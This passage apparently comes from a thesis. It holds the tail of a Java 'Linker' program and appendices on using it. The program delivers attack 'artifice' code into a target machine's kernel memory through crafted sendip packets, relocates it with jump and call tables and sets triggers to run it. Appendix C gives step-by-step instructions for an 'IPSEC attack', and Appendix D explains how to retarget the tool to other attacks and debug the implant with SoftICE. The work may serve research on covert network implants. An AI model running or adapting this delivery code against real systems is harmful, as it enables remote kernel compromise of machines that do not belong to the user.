      int copyEnd = copyStart + dataSize; 
      // relocate the header to next set of addresses to load the data properly 
      copyFile(new File("arrayFileRelocations"), new File("tempRelocations")); 
      updateLoadingCode(new File("tempRelocations"), copyStart, copyEnd, 
                               allocPointer); 
      relocateFile(packetFileArray[i], new File("tempRelocations")); 
      // send a packet to be loaded 
      sendipPacket(packetFileArray[i], 1); //192.168.1.2 
      pauseAttack(true); 
      // run the loading code 
      sendipPacket(new File("findMemRunTrigger.dat"), 3); 
      allocPointer += dataSize; 
    } 
 
    // shorten call table file 
    copyFileFragment(new File("phase2CallTable.exe"), new File("callTableShort"), 
                     new File("callTableShorten")); 
    pauseAttack(true); 
 
    // relocate the call table 
    callTableRelocations(new File("callTableShort"), 
                         new File("callTableRelocations")); 
    pauseAttack(true); 
 
    // load the call table 
    sendipPacket(new File("callTableShort"), 1); 
    pauseAttack(true); 
 
    // set the triggers for the call table 
    sendipPacket(new File("setTrigger3"), 2); 
    sendipPacket(new File("setTrigger4"), 2); 
    sendipPacket(new File("setTrigger5"), 2); 
 
    //-------------- Phase 3 ---------------// 
    //------------Not implemented------------// 
  } 
 
  /*************************************************************************** 
   * sendPacket 
   * 
   * In general, this method uses the sendip program to send packets with certain 
   * built-in parameters.  This allows for formatting the command for the command 
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   * line in Linux, and allows us to insert the payload as well by calling the 
   * fileToHexString command (File -> String) 
   * 
   * File payload    -- what you want to send in the packet 
   * int type        -- load = 1, setTrigger = 2, runTrigger = 3. 
   ***************************************************************************/ 
  public void sendipPacket(File payload, int type) { 
    messageText.append("Sending packet with payload \"" + payload.getName() + 
                       "\" of type " + type + "\n"); 
    try { 
      FileInputStream fileIn = new FileInputStream(payload); 
      InputStreamReader inputStreamReader = new InputStreamReader(fileIn, 
          ENCODING); 
      String commandLine = ""; 
      String payloadString = new String(fileHexToString(payload));  

// convert payload to a string 
String endParams = " -p ipv4 -is " + fromIP +" -id " + toIP + " -p udp -us 
500 -ud 53 -uc 58391 " + toIP; 

      // case statement for which kind of packet to send 
      switch (type) { 
        case 1: 
          commandLine = "sendip -v -d 0x04030201810004F9"; 
          break; //load at offset 500. this is where I always load it. 
        case 2: 
          commandLine = "sendip -v -d 0x04030201"; //setTrigger 
          // payload must be 32 bits (4 bytes) and must contain -> FB & type (1b)      
          // + TN (1b) + offset (2b) 
          commandLine = commandLine.concat(payloadString); 
          break; 
        case 3: 
          commandLine = "sendip -v -d 0x04030201";  

  // must specify the trigger number and feedback 
          commandLine = commandLine.concat(payloadString);  
      // generally looks like this 850000... 
          break; //runTrigger                               
     //    where 5 is the trigger number, 
          //       but the rest doesn't matter. 
        default: 
          messageText.append("Wrong type parameter for sendipPacket\n"); 
      } 
      if (type == 1 || type == 2) { 
        // add the length field 
        String temp = "000000";  
    // idiot zeroes for the front to make sure we have 4 hex digits 
        temp = temp.concat(Integer.toHexString( (int) payload.length())); 
        temp = temp.substring(temp.length() - 4, temp.length()); 
        commandLine = commandLine.concat(temp); 
      } 
 
      if (type == 2) // add the checksum 
        commandLine = commandLine.concat("ABCD"); 
 
        // put the final string together 
      if (type == 1) { 
        commandLine = commandLine.concat(payloadString); 
      } 
      commandLine = commandLine.concat(endParams); 
      // execute sendip with required parameters 
      packetText.append(commandLine + "\n"); 
      (Runtime.getRuntime()).exec(commandLine); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
    } 
    return; 
  } 
  /*************************************************************************** 
   *  switchByteOrder 
   * 
   * This method changes a String s such as "ABCDEF01" into "01EFCDAB."  This 
   * String must be a 4 byte (DWORD) in order for this to work 
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   * 
   * String s -- string to be converted. 
   ***************************************************************************/ 
  public String switchByteOrder(String s) { 
    String temp = "0000000"; //adds the appropriate number of 0's to the 
beginning. 
    temp = temp.concat(s); 
    String st = temp.substring(temp.length() - 8, temp.length()); 
    temp = ""; 
    temp = temp.concat(st.substring(6, 8)); 
    temp = temp.concat(st.substring(4, 6)); 
    temp = temp.concat(st.substring(2, 4)); 
    temp = temp.concat(st.substring(0, 2)); 
    return temp; 
  } 
  /*************************************************************************** 
   *  updateLoadingCode 
   * 
   * This method/procedure is used for updating the loading code which copies the 
   * artifice code from the bootstrap loader's buffer into the allocated memory 
space. 
   * 
   * File changesFile -- the packet payload that will be changed 
   * int copyStart -- the int value for the new address of the bootstrap space 
   *                  to be copied from (start) 
   * int copyEnd -- the int value for the new address of the bootstrap space to 
   *                be copied from (end) 
   * int allocPointer -- the int value for the new address of the allocated buffer 
   *                     space. (this increases as each packet is copied into this 
space) 
   ***************************************************************************/ 
  public void updateLoadingCode(File changesFile, int copyStart, 
                                       int copyEnd, int allocPointer) { 
    copyFile(changesFile, new File("~tempLCC")); 
    try { 
      Vector stringHolder = new Vector(); 
      String s1 = ""; 
      String s2 = ""; 
      int pos = 0; 
      FileInputStream in = new FileInputStream(changesFile); 
      InputStreamReader changesIn = new InputStreamReader(in, ENCODING); 
      BufferedReader b1 = new BufferedReader(changesIn); 
      while ( (s1 = b1.readLine()) != null) 
        stringHolder.add(s1); 
      b1.close(); 
      FileOutputStream out = new FileOutputStream(new File("~tempLLC")); 
      OutputStreamWriter changesOut = new OutputStreamWriter(out, ENCODING); 
      for (int i = 0; i < stringHolder.size(); i++) { 
        s1 = (String) stringHolder.elementAt(i); 
        if ( (pos = s1.indexOf("\t")) != -1) { 
          s2 = s1.substring(pos + 1, s1.length()); 
          s1 = s1.substring(0, pos); 
        } 
        else { 
          s2 = s1.substring(8, s1.length()); 
          s1 = s1.substring(0, 7); 
        } 
        // add values to the relocation file's values 
        if (i == 0) { 
          String s = Integer.toHexString(copyStart); 
          s = switchByteOrder(s); 
          changesOut.write(s1 + "\t" + s); 
        } 
        // check for the different kinds of entries 
        if (i == 1) { // 
          String s = Integer.toHexString(allocPointer); 
          s = switchByteOrder(s); 
          changesOut.write(s1 + "\t" + s); 
        } 
        if (i == 2) { 
          String s = Integer.toHexString(copyEnd); 
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          s = switchByteOrder(s); 
          changesOut.write(s1 + "\t" + s); 
        } 
        if (i < stringHolder.size()) 
          changesOut.write("\r\n"); 
      } 
      changesOut.close(); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
    } 
    copyFile(new File("~tempLLC"), changesFile); 
  } 
 
  /*************************************************************************** 
   *  ButtonHandler class 
   * 
   * This class handles the buttons that are a part of the control internal frame. 
   ***************************************************************************/ 
  private class ButtonHandler 
      implements ActionListener { 
    public void actionPerformed(ActionEvent e) { 
      String action = e.getActionCommand(); 
      if (e.getSource() == buttCont) 
        proceed = true; 
      if (e.getSource() == b1) { 
        // store bootstrap loader artBuffer address 
        artBufferAddress = tf1.getText(); 
        artBufferAddressSaved = artBufferAddress; 
        int sum = hexToInt(artBufferAddress) + hexToInt("7E6"); 
        artBufferAddress = Integer.toHexString(sum); 
        b1.setEnabled(false); 
      } 
      if (e.getSource() == b2) { 
        // store second Allocated space address 
        alloc1Address = tf2.getText(); 
        b2.setEnabled(false); 
      } 
      if (e.getSource() == b3) { 
        // store second Allocated space address 
        alloc2Address = tf3.getText(); 
        b3.setEnabled(false); 
        buttCont.setEnabled(true); 
        proceed = true; 
      } 
      if (e.getSource() == b4) { 
        // store IP1 
        b4.setEnabled(false); 
        fromIP = tf4.getText(); 
      } 
      if (e.getSource() == b5) { 
        // store IP2 
        toIP = tf5.getText(); 
        proceed = true; 
        b5.setEnabled(false); 
        buttCont.setEnabled(true); 
      } 
    } 
  } 
  /*************************************************************************** 
   *  Main 
   ***************************************************************************/ 
  public static void main(String[] args) { 
    Linker app = new Linker(); 
    app.run(); // runs the main thread.  You can add more if you are attacking 
               // more than one machine at a time. 
  } 
} 
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APPENDIX C. HOW TO CARRY OUT AN IPSEC ATTACK 
USING THE LINKER/LOADER 

This appendix contains the instructions needed to carry out the demonstration 

using the attack artifice provided by Murray in [MUR03], and the bootstrap loader 

provided by Lack in [LAC03].  It should be noted that the IPSEC attack mentioned in the 

title refers to the artifice provided by Murray and the attack artifice itself is further 

explained in [MUR03].  The following are the steps to take in order to carry out this 

attack. 

1. Ensure the attack/artifice code is in the same directory as the “ByteManipulation.jpx” 
project file. 

 
2. Make sure the bootstrap loader was fully loaded before starting the linker. 
 
3. Start the JBuilder project ByteManipulation which uses the Linker.java file 

 

 
 

4. Compile and run the java runnable class, “Linker.java”, by clicking on the green 
arrow or by pressing the F9 key. 
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5. Start the packet sniffing utility, for example, Ethereal.  
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6. In the control pane, enter in the target and attack machines’ ip addresses and assign 

these values by clicking the corresponding button. 

 
 

7. Press the continue button located in the control pane to step through the memory 
allocation portion of the Linker’s execution until the Continue button is no longer 
enabled. 
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8. Stop the packet sniffer, use a filter if necessary, and find the two separate ICMP 

packets with the allocated memory addresses in them.  Each packet contains two 
addresses in reverse byte format, the first being the allocated memory space’s first 
address, and the second being the pointer to the artBuffer area.  These addresses are 
delimited by ‘0xAA’ byte values and should not be hard to find.   

 
 

9. Enter these values in their respective fields, and set them to their variables by clicking 
on the corresponding buttons. (Note: though they are sent in reverse byte order, it is 
important to place them in normal byte order when entering them)  
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10. Step through the remainder of the Linker’s execution by clicking the continue button 
repeatedly until all of the artifice code has been relocated and has triggers set to its 
functions. 

 
 

11. Close the Linker and the ByteManipulation project/JBuilder program. 
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APPENDIX D. HOW TO USE THE LINKER/LOADER WITH AN 
ATTACK OTHER THAN IPSEC 

This appendix contains a description of how to configure the linker/loader for an 

attack other than the IPSEC attack that was demonstrated using the work of this thesis as 

well as [LAC03] and [MUR03].  There are a number of decisions that must be made in 

order to make the attack a successful one.  Once these have been answered, the rest of the 

configuration can be completed easily.  These include: 

• How many memory allocations are to be made? 

• Which allocated memory space will ultimately hold the jump table? 

• What is the network to be used in the attack? 

• How many triggers should be set and to which functions? 

• How will the stack be used? 

• What portions of the final executable should be sent to the target machine? 

• Will any state need to be saved or data fields reserved in the Jump table, 

prior to a function being called, in order for the artifice to work correctly? 

Next, it should be noted that there are several areas of the linker/loader that must 

be changed in order to configure a different kind of attack.  Some of these are in 

configuration files, some are in the code itself.  Though the code was not made as general 

purpose as it could have been, the hard coded areas that should be changed in order to 

support a different kind of attack are few and relatively easy to configure for the new 

attack.  The general areas that must be changed are listed below and are explained further 

in the rest of the appendix: 

• Jump table 

• Call table 

• Relocation files 
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Once these questions have been answered, and the artifice has been designed, the 

difficult part becomes debugging the execution of the artifice.  This appendix will further 

discuss the various issues associated with debugging, for example: 

• How to use SoftICE to debug the artifice 

• Whether or not the linker/loader was used correctly to load it 

 

A. DECISIONS TO MAKE 

Of the three areas above, the first area we should discuss are the questions 

concerning how the attack will be setup and the framework established for the new 

artifice.  The first question that should be answered is that of how many memory 

allocations will be made to carry out the attack.  In the IPSEC attack, two allocations 

were made, both 4 KB apiece.  This was not necessary because the attack did not take up 

very much memory, (~150 bytes) and two were used simply to demonstrate that it could 

be done in two spaces using the jump table.  In a situation where memory is at a 

premium, or the artifice is very large, it is probably necessary to allocate smaller amounts 

of memory.  The jump table provided a link between functions and data in the other 

allocated memory area and thus, provides a means to allocate and use one memory area 

for every function you have, plus one for the jump table.   The jump table was also useful 

for placing global data in a place known to all of the functions.  In the IPSEC attack, two 

functions were placed in the first memory area, along with the jump table, and the last 

two functions were placed in the second allocated memory area.  In deciding how to 

place the different functions, it is useful to make a diagram of which functions will go in 

which allocated memory spaces.  This will give the user a better idea of how to configure 

the attack.   

The next question that should be answered is whether or not to place the jump 

table in its own allocated memory space or with another group of functions.  This relates 

to the previous question, but it should be noted that it does not matter where the jump 

table is placed, as long as the user knows the absolute address where the jump table is 

placed, the jump table holds the absolute, linear addresses of the functions and the user 

knows the offset of the function’s address within the jump table.  The jump table’s 
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construction is largely the responsibility of the person writing the attack because they use 

it to refer to functions, and data to be used.  The user who configures the linker/loader has 

the responsibility of placing the address of the jump table in each function at 

link/relocation time, and placing the addresses of the functions in the jump table at that 

time as well.  This is in preparation for the artifice being loaded into those areas, to 

enable proper execution.   

Next, a decision to be made is which network will be used for the attack.  Ethernet 

is used for the IPSEC attack but others may be available as well, such as a wireless local 

area network.  It is important regardless of the network being used, to note the maximum 

transmission unit of the network, and to change the size of the packet, when calling the 

divideAndCombine function.  The IPSEC attack uses a maximum packet size of 1200 

bytes in order to permit the packets to be sent and because the divideAndCombine 

function is called twice, once for each memory area, the actual parameter must be 

changed for both function calls.   

The attacker should also note which functions should be callable.  Not all 

functions should have triggers set to them.  This is because there are a finite number of 

triggers and it is not worthwhile to set triggers to functions that are never called.  The call 

table is used to work around the fact that the bootstrap loader’s set Trigger function only 

sets triggers to an offset from the beginning of its buffer area.  This does not allow for 

setting triggers to absolute, linear addresses.  The call table can be used to refer to 

addresses outside of this space, for example, in an allocated memory space.  The offset 

address of each of these functions, within their respective allocated memory spaces, 

should be noted and written to the call table’s relocation file, by hand, in order for the 

correct address to be called when its trigger has been activated.  The specifics of 

configuring these files will be discussed in the next section.   

Next, the user must decide how to use the stack in the attack so as to not disrupt 

the state of the machine before any functions were called.  Drawing diagrams to show the 

state of the stack during the artifice’s execution is useful to ensure that the state of the 

stack is the same before and after each function call.  The linker/loader does not use the 

stack because of this added complexity, but if the stack is used, it is important to pop data 
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off of the stack after it is used, and to also save the registers and flags.  When calling a 

function, such as through a kernel function call, the actual parameters should be pushed, 

one at a time on the stack before calling the function.  Return instructions pop these off of 

the stack when the function returns, automatically.   

Another important consideration is which code should be sent to the target 

machine of the large executable file, containing all of the artifice functions, that is placed 

in the directory of the linker/loader.  In every executable file, there are several headers 

and sections used for various purposes such as debugging that do not need to be sent to 

the target machine.  Using the copyFileFragment function, pieces of the file can be 

copied into another file, based on offset addresses that indicate ranges of data/instructions 

within the file to be included in the fragment file.  These are simply written in a text file 

as shown by this example, which illustrates how multiple beginning and ending relative 

addresses are copied into the new file: 

AB0 [TAB] ABF 

123A [TAB] 1300 

[EOF] 

The beginning and ending addresses, for a range, are separated by a tab, and each range is 

separated by an end-of-line or return character.  When placing the functions in separate 

allocated memory spaces, it is necessary to place all of the functions that will be in the 

same memory space in the same fragment file so as to minimize confusion when loading.  

When constructing the configuration file, as shown above, specify the ranges of the 

functions that will be placed in one memory area in one fragment configuration (text) 

file, and the ranges of the other functions in another file, so that when the 

copyFileFragment function is called, only the functions for that particular allocated 

memory space will be placed in the shortened file.   

The final decision that should be made is how to use the jump table to construct 

and refer to the jump table.  Because, in the case of the IPSEC attack, the jump table was 

to be placed in the allocated memory area with the first two functions (at the beginning of 

that space), and because it was to be 32 bytes long, it was useful to specify, in the 
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fragment configuration file for that first piece, a range of blank addresses 32 bytes long.  

This was the first range of addresses which specified a space at the beginning of the 

shortened file, to act as the jump table.  The values can later be initialized to whatever 

linear addresses will hold the functions, but when creating the jump table, this is not 

necessary.  This task of filling in the final locations of the functions can be accomplished 

when the rest of the file is relocated at link time.  In referring to the jump table, it is 

useful to place an instruction in each function which loads the location of the jump table 

to a register, such as ECX.  The function can then refer to an offset from that address in 

order to refer to particular global data or an address in the jump table that is important for 

its own execution.   

 

B. CONFIGURATION DETAILS 

This section will refer to the decisions made in the first section and will show the 

specific parts of the linker/loader that need to be changed for it to adapt to another type of 

attack.  Once the above has been accomplished, and the files containing functions and the 

jump table which will be loaded to their respective allocated memory areas, have been 

constructed, then several configuration details should be changed to accommodate the 

new attack.   

As it was described before, the larger executable file should be placed in the 

directory containing the JBuilder project entitled “ByteManipulation.”  Then, the files 

specifying the ranges of offset addresses in that file should be made indicating which 

functions should be placed in each fragment file.  The easiest way to find out the offset 

addresses to place in this configuration file is to look at a disassembled version (such as 

with the PEBrowse Pro utility) of the executable, find the start of the .text section 

containing the functions, and study the opcodes to determine the beginning and ending 

addresses of the functions.  These ranges of addresses for the functions should be written 

down and organized into which file the function will ultimately be placed in.  In the case 

of the IPSEC attack, it was easy to find the beginning of the addresses because these 

functions were delimited by nine ‘nop’ instructions.  The files for the new attack, which 
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are created when fragmenting the executable file, may be constructed in a manner similar 

to the two files shown below: 
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Based on the sequence of events, once the fragment files are made, these files 

should be relocated based on the addresses returned to the attacker’s machine via ICMP 

packet.  It is necessary to look at each fragment file and record the places where the 

location of the jump table must be saved in order for it to be referred to correctly in each 

function.  There should be one such place in each function.  When this is found, the offset 

of this space from the beginning of the file must be placed in another text file that will be 

used in a call to relocateFileByAddress, in order to correctly patch in the absolute address 

of the jump table.  In an example attack, the text file used for specifying the place to be 

patched  in the first fragment file would look like this: 

  

The first value on a line would specify the place in the fragment file, relative to the 

beginning of the file, and the second on the line is what would be added to the address 

specified in the function call.  Placing a zero in this field would mean the address passed 

in the function call to relocateFileByAddress, would be placed at the offsets ‘0xAB3’ and 

‘0xAF4.’ It is important to note that all of the fragment files that are created must be 

patched with the address in the jump table, if they are to refer to information in the jump 

table, and thus, must be patched with the jump table’s address in this manner.   

The next configuration that should take place is that of the jump table.  When the 

allocated addresses are returned to the attacker and are found in the ICMP packets that 

are sent back, the addresses should be placed in the correct JTextField and the addresses 

saved by clicking the corresponding JButton.  Once this is done, the addresses are added 

to offsets found in the relocation text files as specified above, and it is then time to patch 

the jump table with the addresses of the functions as they will be loaded into memory.   

To patch the jump table, two approaches can be followed.  The first is the 

approach used by the IPSEC attack, which was to modify the jumpTableRelocations 

function to accommodate the different entries in the jump table.  The nature of the jump 
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table dictates that different entries should have different addresses added to the offsets, 

based on which allocated memory space they are loaded into.  Therefore, within the 

jumpTableRelocations function, there is a set of ‘if’ statements that should be changed in 

order to specify the rows, of the relocation text file, that should be patched with which 

addresses of the allocated memory spaces. 

The recommended, simpler means of accomplishing this task would be to skip the 

jumpTableRelocations function altogether, and to just perform different relocations on 

the jump table portion of the fragment file containing the jump table, for as many 

addresses that are needed.  This approach was not recognized when the design was 

implemented but using the tools available, would work perfectly, and would make the 

attack less complicated to configure for an attack change.  The following illustration 

shows how this could be done, for example, in two steps, one for each allocated memory 

space:   
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Using this technique is easier than altering the jumpTableRelocations function and thus, 

should be used instead.  This would mean commenting out the jumpTableRelocations 

function completely. 

The last relocations that should be completed concern the call table.  First, as it 

was mentioned before, the call table is used to set triggers to functions outside of the 
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bootstrap loader’s memory area.  It is easy to create a call table of instructions that can be 

used to save certain values just prior to calling the artifice function, or just a series of 

calls and returns can be put in the call table.  This is largely up to the attacker to 

construct, or the template, “phase2calltable.exe,” can be used.  This file has the following 

structure, which saves the EBP register to a place in the jump table just before executing 

the call instruction to call the function.  The following is an example call table that can be 

used to set triggers to functions located at addresses outside the bootstrap loader’s 

memory area:  

mov ECX, 0aaaaaaah 

 call ECX 

 ret 

 nop 

 mov ECX, 0bbbbbbbh 

 call ECX 

 ret 

 nop 

 mov  ECX, 0ccccccch 

 call ECX 

 ret 

 nop 

In order to correctly call the function, during relocation, the call table must be 

relocated to reflect the absolute, linear addresses of the functions that should be called.  

As with the jump table, there are two approaches, one easier than the other which can be 

followed.  The first involves changing the callTableRelocation function in the same way 

as the jump table function by altering the if statements that specify which address to use 

on which entries of the text file.   
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Again, the easier way to handle call table relocations would be to specify changes 

to the call table in two separate files, indicating offsets from the beginning of the call 

table file and the offset within the allocated memory area of the function to be called.  

The following illustration, much like the  corresponding jump table illustration, shows 

how this can be accomplished using two relocation files, one for each allocated memory 

area: 

 

All of this could have been automated but because of the constraints of time, the 

linker/loader was developed only to the point that relocation files must be specified by 

hand.  Although this is the case, it is not difficult, once the structure of the files has been 
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decided, to design and relocate the artifice as it will ultimately appear in the allocated 

memory spaces.   

 

C. DEBUGGING 

The last point that should be discussed is that of the debugging tools that should 

be used to see if the artifice was loaded correctly and runs correctly.  For the 

demonstration, we used SoftICE which is a live kernel debugger, typically used for 

debugging device drivers.  To open the debugger, once it has been set up on the machine 

that will act as the target machine, the user should push CTRL-D.  This will bring up the 

SoftICE window which will become very familiar once the artifice works properly.  The 

first step is to make sure the windows is of the correct size to debug effectively.  Enter 

the commands at the prompt at the bottom of the window ‘lines 100’ and ‘width 90’ to 

create a larger window with which to work.  To specify an area of code that you would 

like to disassemble and watch as if they were instructions, enter the command ‘u 

<address>’ where <address> is the 8 hex-digit address of the code that you would like to 

disassemble.  To look at a specific data area, enter the command, ‘d <address>’.  In order 

to see more than one data area at once, enter the command, ‘data’, which will open 

another data field.  In this way, if you are allocating two memory areas, it is easy to see if 

they refer to each other correctly, using the jump table, and are loaded correctly, exactly 

as planned.  If they aren’t loaded, correctly, it is probably a configuration file issue, and 

the culprit file must be sought out and changed to show the correct references between 

the functions.  Also, when the call table’s address is known, it is useful to use the ‘u 

<address of the call table>’ SoftICE instruction in order to see the instructions that will 

be executed when the triggers to them are set and run.  When this window is up, and the 

call instructions are visible, double clicking on the call instructions will set break points 

to those instructions, and the functions can be traced through to debug the artifice code.  

The machine will inevitably crash and so it is important to load the symbols in between 

each crash in order to find where the bootstrap loader’s buffer is within kernel memory 

space.    
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